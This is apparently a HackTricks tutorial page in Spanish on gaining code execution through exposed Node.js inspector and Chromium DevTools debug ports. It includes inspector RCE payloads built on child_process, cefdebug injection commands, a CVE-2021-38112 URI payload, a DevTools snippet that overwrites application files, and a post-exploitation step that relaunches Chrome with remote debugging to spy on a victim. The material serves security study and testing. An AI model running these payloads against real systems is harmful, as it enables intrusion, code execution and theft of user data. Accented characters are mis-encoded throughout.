Abuso del depurador Node inspector/CEF

Reading time: 8 minutes

tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks

Informaci贸n B谩sica

Desde la documentaci贸n: Cuando se inicia con el interruptor --inspect, un proceso de Node.js escucha a un cliente de depuraci贸n. Por defecto, escuchar谩 en el host y puerto 127.0.0.1:9229. Cada proceso tambi茅n se asigna un UUID 煤nico.

Los clientes del inspector deben conocer y especificar la direcci贸n del host, el puerto y el UUID para conectarse. Una URL completa se ver谩 algo as铆 como ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e.

warning

Dado que el depurador tiene acceso completo al entorno de ejecuci贸n de Node.js, un actor malicioso capaz de conectarse a este puerto puede ser capaz de ejecutar c贸digo arbitrario en nombre del proceso de Node.js (posible escalada de privilegios).

Hay varias formas de iniciar un inspector:

bash
node --inspect app.js #Will run the inspector in port 9229
node --inspect=4444 app.js #Will run the inspector in port 4444
node --inspect=0.0.0.0:4444 app.js #Will run the inspector all ifaces and port 4444
node --inspect-brk=0.0.0.0:4444 app.js #Will run the inspector all ifaces and port 4444
# --inspect-brk is equivalent to --inspect

node --inspect --inspect-port=0 app.js #Will run the inspector in a random port
# Note that using "--inspect-port" without "--inspect" or "--inspect-brk" won't run the inspector

Cuando inicias un proceso inspeccionado, algo como esto aparecer谩:

Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
For help, see: https://nodejs.org/en/docs/inspector

Los procesos basados en CEF (Chromium Embedded Framework) necesitan usar el par谩metro: --remote-debugging-port=9222 para abrir el debugger (las protecciones SSRF permanecen muy similares). Sin embargo, en lugar de otorgar una sesi贸n de debug de NodeJS, se comunicar谩n con el navegador utilizando el Chrome DevTools Protocol, esta es una interfaz para controlar el navegador, pero no hay un RCE directo.

Cuando inicias un navegador en modo de depuraci贸n, aparecer谩 algo como esto:

DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369

Los sitios web abiertos en un navegador web pueden hacer solicitudes WebSocket y HTTP bajo el modelo de seguridad del navegador. Una conexi贸n HTTP inicial es necesaria para obtener un id de sesi贸n de depurador 煤nico. La pol铆tica de mismo origen previene que los sitios web puedan hacer esta conexi贸n HTTP. Para mayor seguridad contra ataques de reencaminamiento DNS, Node.js verifica que los encabezados 'Host' para la conexi贸n especifiquen ya sea una direcci贸n IP o localhost o localhost6 precisamente.

note

Estas medidas de seguridad previenen la explotaci贸n del inspector para ejecutar c贸digo simplemente enviando una solicitud HTTP (lo cual podr铆a hacerse explotando una vulnerabilidad SSRF).

Iniciando el inspector en procesos en ejecuci贸n

Puedes enviar la se帽al SIGUSR1 a un proceso nodejs en ejecuci贸n para hacer que inicie el inspector en el puerto predeterminado. Sin embargo, ten en cuenta que necesitas tener suficientes privilegios, por lo que esto podr铆a otorgarte acceso privilegiado a informaci贸n dentro del proceso pero no una escalada de privilegios directa.

bash
kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d

note

Esto es 煤til en contenedores porque detener el proceso y comenzar uno nuevo con --inspect no es una opci贸n porque el contenedor ser谩 eliminado junto con el proceso.

Conectar al inspector/debugger

Para conectarse a un navegador basado en Chromium, se pueden acceder a las URLs chrome://inspect o edge://inspect para Chrome o Edge, respectivamente. Al hacer clic en el bot贸n Configurar, se debe asegurar que el host y puerto objetivo est茅n correctamente listados. La imagen muestra un ejemplo de Ejecuci贸n Remota de C贸digo (RCE):

Usando la l铆nea de comandos puedes conectarte a un debugger/inspector con:

bash
node inspect <ip>:<port>
node inspect 127.0.0.1:9229
# RCE example from debug console
debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')")

La herramienta https://github.com/taviso/cefdebug permite encontrar inspectores que se ejecutan localmente y inyectar c贸digo en ellos.

bash
#List possible vulnerable sockets
./cefdebug.exe
#Check if possibly vulnerable
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.version"
#Exploit it
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')"

note

Tenga en cuenta que los exploits de RCE de NodeJS no funcionar谩n si est谩 conectado a un navegador a trav茅s del Chrome DevTools Protocol (debe consultar la API para encontrar cosas interesantes que hacer con ella).

RCE en el Depurador/Inspector de NodeJS

note

Si lleg贸 aqu铆 buscando c贸mo obtener RCE a partir de un XSS en Electron, consulte esta p谩gina.

Algunas formas comunes de obtener RCE cuando puede conectarse a un inspector de Node son usar algo como (parece que esto no funcionar谩 en una conexi贸n al protocolo de Chrome DevTools):

javascript
process.mainModule.require("child_process").exec("calc")
window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe")
require("child_process").spawnSync("calc.exe")
Browser.open(JSON.stringify({ url: "c:\\windows\\system32\\calc.exe" }))

Chrome DevTools Protocol Payloads

Puedes consultar la API aqu铆: https://chromedevtools.github.io/devtools-protocol/
En esta secci贸n solo listar茅 cosas interesantes que he encontrado que la gente ha utilizado para explotar este protocolo.

En el CVE-2021-38112 Rhino security descubri贸 que una aplicaci贸n basada en CEF registr贸 un URI personalizado en el sistema (workspaces://index.html) que recib铆a el URI completo y luego lanzaba la aplicaci贸n basada en CEF con una configuraci贸n que se constru铆a parcialmente a partir de ese URI.

Se descubri贸 que los par谩metros del URI eran decodificados y utilizados para lanzar la aplicaci贸n b谩sica de CEF, permitiendo a un usuario inyectar la bandera --gpu-launcher en la l铆nea de comandos y ejecutar cosas arbitrarias.

As铆 que, una carga 煤til como:

workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE

Ejecutar谩 un calc.exe.

Sobrescribir Archivos

Cambia la carpeta donde se van a guardar los archivos descargados y descarga un archivo para sobrescribir el c贸digo fuente de la aplicaci贸n que se usa con frecuencia con tu c贸digo malicioso.

javascript
ws = new WebSocket(url) //URL of the chrome devtools service
ws.send(
JSON.stringify({
id: 42069,
method: "Browser.setDownloadBehavior",
params: {
behavior: "allow",
downloadPath: "/code/",
},
})
)

Webdriver RCE y exfiltraci贸n

Seg煤n esta publicaci贸n: https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148 es posible obtener RCE y exfiltrar p谩ginas internas de theriver.

Post-Explotaci贸n

En un entorno real y despu茅s de comprometer una PC de usuario que utiliza un navegador basado en Chrome/Chromium, podr铆as lanzar un proceso de Chrome con la depuraci贸n activada y redirigir el puerto de depuraci贸n para que puedas acceder a 茅l. De esta manera, podr谩s inspeccionar todo lo que la v铆ctima hace con Chrome y robar informaci贸n sensible.

La forma sigilosa es terminar cada proceso de Chrome y luego llamar a algo como

bash
Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"

Referencias

tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks